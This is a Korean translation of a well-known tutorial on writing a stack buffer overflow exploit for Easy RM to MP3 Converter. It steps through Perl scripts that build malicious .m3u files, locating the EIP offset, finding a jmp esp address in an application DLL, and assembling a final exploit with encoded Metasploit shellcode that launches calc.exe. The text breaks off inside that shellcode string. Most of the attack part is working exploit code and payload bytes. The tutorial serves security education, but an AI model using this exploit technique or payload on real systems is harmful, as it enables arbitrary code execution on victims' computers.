Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 (http://packetstormsecurity.org/0907-exploits/) 을발표했다. 그취약점보고서에는 proof of concept이있었는데필자의 MS Virtual PC 기반의 XP SP3 En에서는작동하지않았다. 얼마후다른하나의 exploit(http://www.milw0rm.com/exploits/9186) 이공개되었다. 그러나그 PoC exploit 코드를복사하여실행시켜보면그것이작동하지않는다는것을알수있을것이며, 그리고만약제대로작동하지않는다면그 exploit 두개를만드는과정을이해하려고노력한다면그제대로먹히지않는 exploit을수정하거나또는여러분자신의 exploit을만들수있을지도모른다. 필자가오늘그취약점보고서와 exploit을보았을때 exploit을작성하는데대한기초를설명하는완벽한예가될수있다는것을알게되었다. 앞에서언급한취약점보고서에도 exploit이들어가있지만그 exploit을사용하지는않을것이며, Easy RM to MP3 conversion utility 에존재하는취약점을하나의예로만사용할것이고, 제대로작동하는 exploit을만드는과정을설명할것이다. 그보고서에는 Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious.m3u file 와같이취약점에대해언급하고있다. 이것은악의적인.m3u 파일을만들어해당유틸리티에 feed시켜공격을할수있다는것을의미한다. 취약점확인 1 ( 편역자주 ) 이문서는편역자의개인공부과정에서만들어진것입니다. 그래서원문의내용중일부가빠져있거나추가되어있을수있습니다. 원문의전체내용에대해서는원문을참고하길권장합니다. 그리고 http://www.corelan.be:8800/index.php/forum/writing-exploits/ 에서관련논의가진행되고있으니참고하십시오. 이글은원문을무조건적으로번역하지는않을것이며, 실제테스트는역자의컴퓨터에서이루어진것입니다. 그러나원문의가치를해치지않기위해원문의내용과과정에충실할것입니다. 이글에잘못된부분이나오자가있을경우지적해주십시오.
먼저 Easy RM to MP3 Converter 프로그램이조작된 m3u 파일을열때 crash되는지확인해보자. 테스트를위해먼저 Easy RM to MP3 Converter를다운받고 Windows XP에설치한다. http://www.rm-to-mp3.net/download.html에서다운받을수있다. 보안권고문에서는 exploit이 XP SP2(English) 에서작동한다고언급하고있지만필자는 XP SP3(English) 를사용한다. 테스트를위해사용한역자의시스템은다음과같다. 관련취약점에대한더많은정보를얻기위해.m3u 파일을만드는다음과같은 perl 스크립트를사용할것이다. 2 my $file= "crash.m3u"; my $junk= "\x41" x 10000; open($file,">$file"); print $FILE "$junk"; close($file); print "m3u File Created successfully\n"; Perl 스크립트를실행하면 crash 라는 m3u 파일이생성된다. Easy RM to MP3 Converter 로 crash.m3u 파일을로딩하면다음과같이에러가발생한다. 2 역자는 http://www.activestate.com/activeperl/ 에서 ActivePerl을다운받아 Windows에서쉽게 perl을사용할수있게했다.
그러나이에러창을내려보면다음과같이 Easy RM to MP3 Converter가 crash되지는않고에러를핸들링하고있음을볼수있다. A를 20,000개로조정해서실행하면역시위와같은결과가나온다. 아직까지는뭔가의미있는공격을하지못한것이다. 그래서 A를 30,000개로조정하면다음과같은결과가나온다. 정확하게는 20,672개일때어플리케이션이 crash된다. 그렇다면이정보를이용해무엇을할수있는가?
취약점확인 그리고그취약점이흥미로운것인지확인 분명모든어플리케이션의 crash가공격으로이어지지는않으며, 대부분어플리케이션의 crash는 의미있는공격으로이어지지는않는다. 공격으로이어지는경우는아주드물다. 여기서 공격 이란 공격자 자신의 공격 코드를 실행하는 것과 같은 공격 대상이 되고 있는 어플리케이션이의도하지않은어떤것을할수있게하는것을의미한다. 어플리케이션이뭔가 다른어떤것을하도록만드는가장쉬운방법은어플리케이션의흐름을통제하는것이다. 이것은보통다음에실행될명령 (instruction) 이위치한포인터를가진 CPU 레지스터인 instruction pointer( 또는 program counter) 를통제하는것이다. 어떤어플리케이션이파라미터를가진함수를호출한다고가정해보자. 그함수를호출하기전에 instruction pointer( 대부분의경우 4 바이트크기의 eip 레지스터인경우가많다 ) 에현재위치를저장한다. 그래야함수호출을한후그함수의작업을마치고다음에갈위치를알수있기때문이다. 만약이포인터에저장된값을변경하여공격자의코드가있는메모리위치를가리키게한다면어플리케이션의흐름을변경하여공격자가의도한뭔가를할수있게할수있다. 어플리케이션의흐름을통제한후실행되기를바라는공격자의코드는일반적으로쉘코드 (shellcode) 인경우가많다. 그래서만약어플리케이션이그쉘코드를실행하게되면그 exploit은 제대로작동하는쓸만한 것이라고할수있다. 몇가지알아야할것들 본격적인학습에들어가기전에먼저알아야할것이메모리에대한것들이다. 메모리는다음 3 가지부분으로나눌수있다. code segment ( 프로세서가실행하는명령. EIP는다음명령의트랙을가지고있음 ) data segment ( 변수들, 동적버퍼 ) stack segment ( 함수에데이터나아규먼트를전달하기위해사용되며, 변수들을위한공간으로사용된다. Stack은 page의가상메모리의끝에서부터시작 ( 스택의바닥 ) 하여아래로자란다. Push는스택의꼭대기에뭔가를추가하고, pop은스택으로부터하나의아이템 (4 바이트 ) 을제거한다. 만약스택메모리에직접적으로접근하기를원한다면스택의꼭대기 ( 가장낮은메모리주소 ) 를가리키는 ESP(stack pointer) 를사용할수있다. Push 이후 ESP는더낮은메모리주소를가리킨다 ( 주소는스택에 push된데이터의크기와비례해서감소하며, 주소와포인터의경우 4 바이트씩이다 ). 주소는어떤아이템이스택에위치하기전에감소한다 ( 그러나이것은구현에따라다른데, 만약 ESP가이미스택상의다음여유위치를가리킨다면주소는스택에데이터를위치시킨후감소한다 ).
POP 이후, ESP는더높은주소를가리킨다 ( 주소는증가하며, 주소나포인터의경우역시 4바이트씩이다 ). 주소는스택으로부터어떤아이템이제거된이후증가한다. 만약함수나서브루틴 (subroutine) 이들어가게되면 stack frame이만들어진다. 이프레임은부모프로시저의파라미터들도같이유지하며, 서브루틴에아규먼트를전달하는데사용된다. 스택의현재위치는 ESP를통해접근이가능하며, 함수의현재 base는 EBP(base pointer 또는 frame pointer) 에저장되어있다. CPU 의범용레지스터들은다음과같다 (Intel, x86 기준 ). EAX: accumulator: 계산을위해사용되며, 함수호출의리턴값을저장한다. 더하기, 빼기, 비교등과같은기본적인연산은이범용레지스터를사용한다. EBX: base(base pointer와관련없음 ). 범용성은없으며, 데이터를저장하는데사용될수있다. ECX: counter: 반복을위해사용되며, 아래쪽으로카운트한다. EDX: data: 이것은 EAX 레지스터의확장이며, 더복잡한계산 ( 곱하기, 나누기 ) 을가능하게한다. ESP: stack pointer EBP: base pointer ESI: source index: 입력데이터의위치를가지고있음 EDI: destination index: 데이터연산결과가저장되는위치를가리킴 EIP : instruction pointer 프로세스메모리맵은다음과같다. (bottom of memory) >.text (code) 0 00000000 (low addresses).data.bss
heap malloc ed data v heap (grows down) top of the heap UNUSED MEMORY top of the stack ^ stack (grows up) main() local vars argc **argv **envp cmd line arguments environment vars bottom of the stack high addresses(top of memory) > (0xFF000000)
Text segment는읽기전용이며, 어플리케이션코드만을가지고있다. 읽기전용은어플리케이션의코드를수정하는것을막아준다. 이메모리세그먼트는고정된크기를가지고있다. Data 및 bss 세그먼트는전역변수와정적변수를저장하는데사용된다. Data 세그먼트는초기화된전역변수, 문자열, 그리고다른상수들을위해사용된다. Bss 세그먼트는초기화되지않은변수를위해사용된다. Data 및 bss 세그먼트는쓰기가가능하며, 고정된크기를가지고있다. Heap 세그먼트는나머지변수들을위해사용되는데, 바라는만큼더커지거나더작아질수있다. Heap 영역에서모든메모리는 allocator와 deallocator 알고리즘에의해관리된다. Heap은아래쪽 ( 더높은메모리주소 ) 으로자란다. Stack은 LIFO(last in first out) 구조를가진데이터구조체이다. 이는가장최근에 push된데이터가스택으로부터가장먼저 pop된다는것을의미한다. 스택은로컬변수, 함수호출, 오랫동안저장될필요가없는다른정보들을가지고있다. 더많은데이터가스택에추가될수록그데이터는점차더낮은주소값에추가된다. 함수가호출될때마다그함수의파라미터들와 ebp, eip와같은레지스터의저장된값은스택에 push된다. 함수가리턴하면 eip의저장된값이스택으로부터 pop되어다시 eip에위치하게되며, 그래서일반적인어플리케이션의흐름이재개된다. 즉, 함수 do_something(param1) 이호출되면다음과같은과정이일어난다. *param1를 push ( 모든파라미터들을스택상에서뒤쪽으로 push) 함수 do_something을호출. 다음일들이이제일어난다 : - push EIP ( 원래위치로리턴할수있음 ) - EBP를 push(ebp를스택에저장 ) 하는 prolog 과정. 이것은스택상의값들을참조하기위해 EBP를변경해야하기때문에필요하다. 이것은 EBP에 ESP를위치시킴으로서이루어진다. 이럴경우 EBP는스택의꼭대기가되고, 현재어플리케이션의프레임에서스택상의모든것을쉽게참조할수있다. 마지막으로, 로컬변수 ( 데이터배열 ) 들은스택에 push된다. 이문서에서는예로서 do_something::buffer[128] 을사용한다. 특정함수의작업이끝나면전체흐름은 main 함수로돌아온다. 메모리맵 :.text
.data.bss Top of Stack. ESP points to do_something::buffer[128] begin of do_something::buffer[128] saved EBP saved EIP ptr to param1 main() local vars Bottom of stack envp, argv, etc 버퍼오버플로우를야기시키기위해 do_something::buffer 공간 ( 이것은실제파라미터데이터이고, param1에대한 ptr 이가리키는곳이다 ), 저장된 EBP, 그리고최종적으로저장된 EIP의값을덮어쓸필요가있다. Buffer+EBP+EIP를덮어쓴이후스택포인터는저장된 EIP 다음위치를가리킬것이다. 함수 do_something이리턴하면 EIP는스택으로부터 pop되고, 버퍼오버플로동안설정한값을가지게된다. EBP도마찬가지의값을가질것이다. 간단히말해서, EIP를통제함으로써함수가 정상적인흐름을재개 하기위해사용할리턴어드레스를변경할수있다. 물론이리턴어드레스를변경한다면그것은더이상 정상적인흐름 은아니다. 만약 buffer, EBP, EIP를덮어쓰고, 그래서 param1에대한 ptr이있는위치 ( 덮어쓰기를할때 ESP가가리키는곳 ) 에공격자의코드를놓을수있다면어떻게될것인가? 공격자가 buffer([buffer][ebp][eip][ 공격자코드 ]) 를보내면 ESP는 [ 공격자코드 ] 의시작부분을가리킬것이다. 만약공격자가 EIP가공격자의코드로갈수있게한다면공격자는통제권을쥐게되는것이다.
스택의상태를보기위해우리는어플리케이션에디버거 (debugger) 를연결해야한다. 이목적을위해사용할수있는많은디버거들이있는데, Windbg, OllyDbg, Immunity Debugger, 그리고 PyDBG 등이다. 먼저 Windbg를사용해보자. 먼저설치를하고 windbg I 를이용해 post-mortem 디버거 3 로등록하자. 3 ( 역자주 ) 이기능을사용할경우어플리케이션에문제가발생한후그문제점에대해사후분 석이가능하다.
다음레지스터리키를설정함으로써 xxxx has encountered a problem and needs to close 와같은팝업을비활성화할수있다 : HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto: set to 0 Windbg가 Symbol files not found 와같은메시지를보이면하드드라이브에폴더를하나만든다 ( c:\windbgsymbols 라고하자 ). 그런다음, Windbg에서 File로가서 Symbol File Path를클릭한후다음문자열을입력한다. SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols 자이제시작해보자. Easy RM to MP3 Converter를실행한후 crash.m3u 파일을로딩하면어플리케이션이 crash되면서 Windbg가다음과같이실행된다.
위의결과를보면 eip가 41414141임을볼수있다. 참고로인텔 x86에서주소는 littleendian으로저장되어있기때문에역순으로배열된다. 만약 AAAA가아니라 DCBA를사용했다면 44434241로보일것이다. 우리가만든 crash.m3u 파일이버퍼안으로읽혀버퍼가오버플로우되는것처럼보인다. 버퍼를오버플로우시켜 eip에쓰기를했으며, 이로서우리는 EIP의값을통제할수있는것같다. 이런형태의취약점을흔히 stack overflow 라고부른다. 이제확인해볼것은정확하게 EIP 를덮어쓰기위해공격자의버퍼가얼마나큰지알필요가있다. 정확한 EIP 덮어쓰기를위한버퍼사이즈확인하기 우리는 EIP가버퍼의시작부분에서부터 20,000에서 30,000 사이의어딘가에위치하고있다는것을알고있다. 이제 EIP를우리가덮어쓰고자원하는주소로 20,000에서 30,000 바이트사이의모든메모리공간을우리는잠재적으로덮어쓸수있다. 정확하지않아도충분한공격데이터로 EIP를덮어쓸수있지만정확하게덮어쓸위치를알면더좋을것이다. 버퍼에서정확한오프셋을알아내기위해추가작업이필요하다. 먼저 test.pl 스크립트를수정하여위치범위를좁혀나가보자. 수정한스크립트는 25,000개의 A와 5,000개의 B를가지고있다. 만약 EIP가 41414141(AAAA) 를가지고있다면 EIP는 20,000 ~ 25,000개사이에있을것이고, EIP가 42424242(BBBB) 를가지고있다면 25,000 ~ 30,000 사이에있을것이다. my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; 차례대로다시작업을시작해보자.
결과는보면 eip가 42424242(BBBB) 를가지고있고, 그래서우리는 EIP가 25,000 ~ 30,0000 사이의 offset을가지고있음을알수있다. 이것은나머지 B가 ESP가가리키는곳어딘가에있다는것을의미한다. 이것을간단한도식으로나타내면다음과같다.
Buffer : [ 5000 개의 B ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB...] 25000 개의 A EIP ESP points here ESP 의내용을덤프해보자 : 이결과는보면 42424242(BBBB) 로 EIP를덮어썼으며, ESP에서공격자가입력한버퍼를볼수있다. 스크립트를일부수정하기전에 EIP를덮어쓸버퍼에서의정확한위치를발견할필요가있다. 그정확한위치를발견하기위해 Metasploit을사용할것이다. Metasploit은오프셋을계산하는데도움이되는좋은툴 pattern_create.rb를가지고있다. 이툴은유일한패턴을가진문자열을생성한다. 이패턴 ( 그리고공격자가사용하는악의적인.m3u 파일에서의패턴을이용한이후 EIP의값 ) 을이용해우리는정확하게 EIP에쓰기위해버퍼의크기가얼마나되어야하는지알수있다. 먼저 5,000개의문자로된하나의패턴을만들어
파일로쓴다 ( 역자는 Windows XP에 Metasploit 3을설치하였으며, Cygwin Shell을이용해다음과같이실행했다 ). 위의결과를아래스크립트에적용한다. my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa... ; open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; 이스크립트를실행하여.m3u 파일을만들고, Easy RM to MP3 Converter를이용해로딩한다. 로딩하면다음과같은결과가나온다.
이번에는 eip 가 0x42376a42 이다. 이제 EIP에쓰기전에버퍼의정확한길이를계산하기위해 metasploit의툴 pattern_offset.rb를사용하고, 패턴파일에기초를두고 EIP의값과버퍼의길이를제공한다. 결과를보면 EIP를덮어쓰기위해필요한버퍼의길이는 1071이다. 그래서 25,000 + 1071 개의 A와 4개의 B(42424242) 를가진파일을만들면 EIP의값은 42424242가될것이다.
그리고 ESP는우리가제공한버퍼로부터의데이터를가리키고, 이를확인해보기위해 EIP를덮어쓴이후약간의 C 문자를추가할것이다. 스크립트를다음과같이수정해보자. my $file= "eipcrash.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $espdata = "C" x 1000; open($file,">$file"); print $FILE $junk.$eip.$espdata; close($file); print "m3u File Created successfully\n"; 아래의결과를보면 eip는 42424242이고, esp에는 C가들어가있다. 이제는 EIP를통제할수있다는것을알수있다.
여태까지우리의 exploit buffer 를보면다음과같다 : Buffer EBP EIP ESP 가가리키는지점 V A (x 26067) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC 414141414141 41 41414141 42424242 26067 바이트 4 바이트 4 바이트 1000 바이트? 이제스택의모양은다음과같다 :.text.data.bss AAAAAAAAAAAAAAAAA Buffer AAAAAAAAAAAAAAAAA do_something::buffer[128] (26067 A s) (now overwritten) AAAA saved EBP (now overwritten) BBBB saved EIP (now overwritten) -> ESP points here CCCCCCC ptr to param1 (now overwritten)
main() local vars Bottom of stack envp, argv, etc 함수가리턴 (RET) 할때 BBBB가 EIP에들어가고, 프로그램의흐름은 42424242라는주소 (EIP의값 ) 로리턴하려고할것이다. 쉘코드를저장할메모리공간찾기 공격자가 EIP를통제할수있게되면공격자의의도를실행할쉘코드를가진곳을 EIP가가리키도록할수있게된다. 그렇다면어디에공격자의쉘코드를넣고, 어떻게그위치로 EIP가점프하게만들수있는가? 앞에서공격대상이되는프로그램이 crash할때레지스터들을살펴보고덤프를해보아라 (Windbg에서는 d eax 와같이함 ). 만약우리가입력한버퍼데이터를그레지스터들중하나에서볼수있다면쉘코드로그것을대체할수있으며, 그위치로점프할수있다. 앞의예에서우리는 ESP에 C 문자값이들어가있는것을볼수있었고, 여기에 C 문자대신쉘코드를넣어 EIP가 ESP의주소로가게할것이다. C 를볼수있음에도불구하고첫번째 C(0x000ff730에있는것 ) 가버퍼에우리가입력한첫번째 C 라는것을확신할수가없다. 그래서펄스크립트를조금수정하여테스트할것이며, 앞에서사용한 C 대신 144개의문자들을사용할것이다. 아직이문자들은아무런의미가없다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file);
print "m3u File Created successfully\n"; 어플리케이션 crash 되었을때 ESP 위치의메모리를덤프해보자. 위의결과에서 2 가지흥미로운점을볼수있다. ESP는 $shellcode에사용된문자들중 5번째에서시작되고, 첫번째문자가아니다. 이에대한이유는 http://www.corelan.be:8800/index.php/forum/writingexploits/question-about-esp-in-tutorial-pt1에서자세하게논의되고있으니참고하길바란다.
패턴문자열다음에 A 값들이있는것을볼수있다. 이 A들은대부분버퍼의첫부분에속하며, 그래서우리는 RET을덮어쓰기전에우리의쉘코드를버퍼의첫부분에넣을수도있다. 하지만아직은이방법을사용하지는말자. 먼저패턴문자열앞에 4개의문자들을추가하고테스트를다시해보자. 만약모든것이정상이라면 ESP는이제직접우리가제공한패턴의시작부분을가리킬것이다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션 crash 되었을때 ESP 위치의메모리를다시덤프해보자.
이제우리는다음과같은결과를가지게되었다. EIP 에대한통제권 우리의코드를쓸수있는공간 0x000ff730 에서시작하는우리의코드를직접적으로가리키는레지스트 이제는우리는다음과같은것이필요하다. 진짜공격용쉘코드 EIP 가쉘코드의시작주소로점프하도록함 (0x000ff730 으로 EIP 를덮어씀 ) 이제작은테스트를해보자. 먼저 26,071개의 A를사용하고, 그런다음 000ff730으로 EIP를덮어쓰며, 그럼다음 25개의 NOP을입력하고, 그런다음브레이크, 그런다음추가 NOP을입력한다. 만약모든것이정상이라면 EIP는 NOP을가진 0x000ff730으로점프할것이다. 그런다음코드는브레이크까지이동한다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = pack('v',0x000ff730); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; $shellcode = $shellcode."\x90" x 25; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션이 crash된다음우리는 access violation 대신 break를예상했다. EIP를보면다음과같이 0x000ff730을가리키고, ESP도마찬가지다. ESP를덤프해보면우리가예상한것을볼수가없다.
그래서어떤메모리주소로직접점프하는것은좋은솔루션이아닐수있다. 0x000ff730은 null 바이트를가지고있으며, 이는흔히말하는 string terminator라서원하는지점까지도달하지못해공격에실패하게한다. 요약하자면, 0x000ff730과같은직접적인메모리로 EIP를덮어쓸수없다. 그것은좋은생각이아니다. EIP를덮어쓰기위해다른테크닉을사용해야하는데, 그것은어플리케이션이우리가제공한코드로점프하게만드는것이다. 이상적으로, 우리는레지스터 ( 또는레지스터에대한오프셋 ) 를참조할수있어야하며 ( 현재경우 ESP), 그레지스터로점프하는함수를찾아야한다. 그런다음우리는그함수의주소로 EIP를덮어쓰려고시도할것이다. 쉘코드로점프 우리는 ESP가가리키는곳에정확하게우리의쉘코드를넣을수있었다 ( 다른시각으로보면, ESP는쉘코드의시작부분을직접적으로가리킨다 ). ESP의주소로 EIP를덮어쓰는이유는어플리케이션이 ESP로점프하여쉘코드를실행하기를원하기때문이다. ESP로점프하는것은 Windows 어플리케이션에서는아주흔한것이다. 사실, Windows 어플리케이션은하나또는그이상의 dll을사용하며, 이 dll은많은코드명령을가지고있다. 그리고이 dll에의해사용되는주소들은아주정적이다. 그래서만약우리가 esp로점프하는명령을가진 dll을발견할수있다면, 그리고만약우리가그 dll에있는그명령의주소로 EIP를덮어쓸수있다면그것이제대로작동할까?
먼저, 우리는 jmp esp 의 opcode가무엇인지이해할필요가있다. 이를위해먼저 Easy RM to MP3를실행하고, 그런다음 Windbg를오픈하여프로세스에 attach시킨다. 이렇게할경우 Windbg는실행중인프로세스의 PID와함께목록을보여준다. 그런다음 Process ID: 부분에 PID를입력하고 OK를누르면해당어플리케이션에의해로딩된모든 dll들을보여준다. 프로세스에디버거를 attach 하자마자해당어플리케이션은 break한다. Windbg 명령라인에서 a(assemble) 를입력하여엔터키를입력하고, 그런다음 jmp esp를입력하여엔터키를누른다.
다시엔터키를누르고, 그다음 jmp esp를입력하기전에보였던그주소와함께 u(unassembled) 를입력하고엔터한다. 7c93120e 옆에 ffe4를볼수있는데, 이것은 jmp esp의 opcode이다. 이제우리는로딩된 dll들중의하나에서이 opcode를발견할필요가있다. Windbg 창의윗부분에서 Easy RM to MP3에속하는 dll을나타내는라인들을찾는다. 만약이 dll들중의하나에서 jmp esp의 opcode를발견할수있다면우리는 Windows 플랫폼에서작동할수있는 exploit을만들좋은기회를가지는것이다. 만약 OS에속하는 dll을사용할필요가있다면해당 OS의다른버전에서는그 exploit이작동하지않는다는것을보게될
것이다. 그래서 Easy RM to MP3 dll들의영역을하나씩확인해보자. 확인방법은다음과같이입력하면된다. s 01b70000 l 01be1000 ff e4 (s 와 l 사이에있는주소는 dll 이로딩되어있는주소범위 ) 먼저 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll 영역부터차례대로찾아보자. 이 dll은 10000000 ~ 10071000 사이에로딩되어있다. 이영역에서 ff e4 를찾아보자. 결과를보면 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll 영역에서우리가원하는 opcode를찾을수있었다 ( 역자는원문과다르게처음부터찾기시작했으며, 적당한 opcode를찾은후나머지부분은찾아보지않았다 ). 우리가활용할주소를선택할때 null 바이트들어가있지않는주소를찾아야한다. 앞에서도말했지만 null 바이트는문자열 terminator이기때문에 null 바이트이후의코드는쓸모없는것이되기때문이다. 디버거를이용하지않고 findjmp 프로그램 4 을이용하면우리가원하는각종 opcode를쉽게찾을수있다. 사용법은 findjmp dll 파일레지스터 와같으며, 다음은그예이다. findjmp kernel32.dll esp 4 ( 역자주 ) http://www.securiteam.com/tools/5lp0c1peuy.html 에있는소스를컴파일하여 사용하면된다.
Easy RM to MP3 Converter 의 MSRMCcodec02.dll 에서 jmp esp 를찾아보면다음과같다. ( 역자추가 : 관련 opcode 관련해서 metasploit opcode database와 memdump 등에대해언급하고있는데, metasploit opcode database는현재오프라인상태이다. memdump에대해서는이시리즈의다음호참고 ) 우리가 ESP(EIP를덮어쓴후공격에사용되는 payload 문자열에위치한 ) 에우리의쉘코드를넣기를원하기때문에우리가사용할 jmp esp 주소는 null 바이트를가지고있으면안된다. 만약이주소가 null 바이트를가진다면우리는 null 바이트를가진주소로 EIP를덮어쓰게되는것이다.
어떤경우 null 바이트로시작하는주소를사용해도문제가없을때가있다. 만약그주소가 null 바이트로시작하지만 little endian 때문에그 null 바이트는 EIO 레지스터에서마지막바이트가될수있다. 그래서만약 EIP를덮어쓴후어떤 payload를보내지않는다면 ( 그래서만약쉘코드가 EIP를덮어쓰기전에넣어져레지스터를통해여전히도달할수있어 ) 이것은제대로작동한다. 여기서는쉘코드를가지고있기위해 EIP를덮어쓴후 payload를사용할것이며, 그래서그주소는 null 바이트를가지고있어서는안된다. 사용할첫주소 : 0x01eaf23a 이주소가 jmp esp를가지고있는지확인해보자 ( 그래서 01eaf23a에있는명령을 unassemble한다 ). 만약 EIP를 0x01eaf23a로덮어쓸경우 jmp esp가실행될것이다. ESP는쉘코드를가지고있어제대로작동하는 exploit을가지게된것이다. NOP & break 쉘코드로테스틀해보자. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = pack('v',0x01eaf23a); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug $shellcode = $shellcode."\x90" x 25;
open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션은 000ff745에서 break하는데, 이는첫번째 break의위치이다. 그래서 jmp esp는제대로작동한다 (esp는 000ff730에서시작하고, 000ff744까지는 NOP으로차있다. 이제우리가해야할것은실제쉘코드를넣고, exploit을완성하는것이다. 최종 exploit 완성하기 Metasploit는쉘코드를만드는데도움이되는 payload 생성기를가지고있다. Payload는다양한옵션을가지고있는데, 경우에따라그크기가조정될수있다. 버퍼공간때문에크기에제한이있다면다단계쉘코드가필요하거나또는 XP sp2 en용 32바이트 cmd.exe 쉘코드 5 가필요할것이다. 또는쉘코드를작은 egg 로쪼개서 6 그것을실행하기전에쉘코드를다시모으는 egghunting 기술을사용할수있다. 5 http://packetstormsecurity.org/shellcode/23bytes-shellcode.txt 6 http://code.google.com/p/w32-seh-omelet-shellcode/
여기서먼저계산기프로그램을실행하도록하는 exploit을만들기로하고, 이에해당하는쉘코드를 Metasploit을이용해만들어보자 ( 역자추가 : 먼저 Metasploit Web을실행하여다음과같이만들어본다 ). 위의설정대로생성한쉘코드는다음과같다. 이제만들어진쉘코드를아래와같이정리한다.
# windows/exec 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc.exe my $shellcode = "\xba\x8f\x6e\xc7\xbc\xd9\xeb\xd9\x74\x24\xf4\x5e\x31\xc9". "\xb1\x33\x83\xee\xfc\x31\x56\x0e\x03\xd9\x60\x25\x49\x19". "\x94\x20\xb2\xe1\x65\x53\x3a\x04\x54\x41\x58\x4d\xc5\x55". "\x2a\x03\xe6\x1e\x7e\xb7\x7d\x52\x57\xb8\x36\xd9\x81\xf7". "\xc7\xef\x0d\x5b\x0b\x71\xf2\xa1\x58\x51\xcb\x6a\xad\x90". "\x0c\x96\x5e\xc0\xc5\xdd\xcd\xf5\x62\xa3\xcd\xf4\xa4\xa8". "\x6e\x8f\xc1\x6e\x1a\x25\xcb\xbe\xb3\x32\x83\x26\xbf\x1d". "\x34\x57\x6c\x7e\x08\x1e\x19\xb5\xfa\xa1\xcb\x87\x03\x90". "\x33\x4b\x3a\x1d\xbe\x95\x7a\x99\x21\xe0\x70\xda\xdc\xf3". "\x42\xa1\x3a\x71\x57\x01\xc8\x21\xb3\xb0\x1d\xb7\x30\xbe". "\xea\xb3\x1f\xa2\xed\x10\x14\xde\x66\x97\xfb\x57\x3c\xbc". "\xdf\x3c\xe6\xdd\x46\x98\x49\xe1\x99\x44\x35\x47\xd1\x66". "\x22\xf1\xb8\xec\xb5\x73\xc7\x49\xb5\x8b\xc8\xf9\xde\xba". "\x43\x96\x99\x42\x86\xd3\x58\xb2\x1b\xc9\xcd\x6d\xce\xb0". "\x93\x8d\x24\xf6\xad\x0d\xcd\x86\x49\x0d\xa4\x83\x16\x89". "\x54\xf9\x07\x7c\x5b\xae\x28\x55\x38\x31\xbb\x35\x91\xd4". "\x3b\xdf\xed"; 이제만들어진쉘코드를펄스크립트안에넣는다. # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte ( 수정 : vangelis) # http://www.corelan.be:8800 # Greetings to Saumil and SK : ) # # tested on Windows XP SP2 (KO) 원문은 XP SP3 (EN) 이었음 # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26071; my $eip = pack('v', 0x01eaf23a); #jmp esp from MSRMCcodec00.dll( 역자의시스템 ) my $shellcode = "\x90" x 25; # # windows/exec 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc.exe $shellcode = $shellcode. "\xba\x8f\x6e\xc7\xbc\xd9\xeb\xd9\x74\x24\xf4\x5e\x31\xc9". "\xb1\x33\x83\xee\xfc\x31\x56\x0e\x03\xd9\x60\x25\x49\x19". "\x94\x20\xb2\xe1\x65\x53\x3a\x04\x54\x41\x58\x4d\xc5\x55". "\x2a\x03\xe6\x1e\x7e\xb7\x7d\x52\x57\xb8\x36\xd9\x81\xf7". "\xc7\xef\x0d\x5b\x0b\x71\xf2\xa1\x58\x51\xcb\x6a\xad\x90". "\x0c\x96\x5e\xc0\xc5\xdd\xcd\xf5\x62\xa3\xcd\xf4\xa4\xa8". "\x6e\x8f\xc1\x6e\x1a\x25\xcb\xbe\xb3\x32\x83\x26\xbf\x1d". "\x34\x57\x6c\x7e\x08\x1e\x19\xb5\xfa\xa1\xcb\x87\x03\x90". "\x33\x4b\x3a\x1d\xbe\x95\x7a\x99\x21\xe0\x70\xda\xdc\xf3". "\x42\xa1\x3a\x71\x57\x01\xc8\x21\xb3\xb0\x1d\xb7\x30\xbe". "\xea\xb3\x1f\xa2\xed\x10\x14\xde\x66\x97\xfb\x57\x3c\xbc". "\xdf\x3c\xe6\xdd\x46\x98\x49\xe1\x99\x44\x35\x47\xd1\x66". 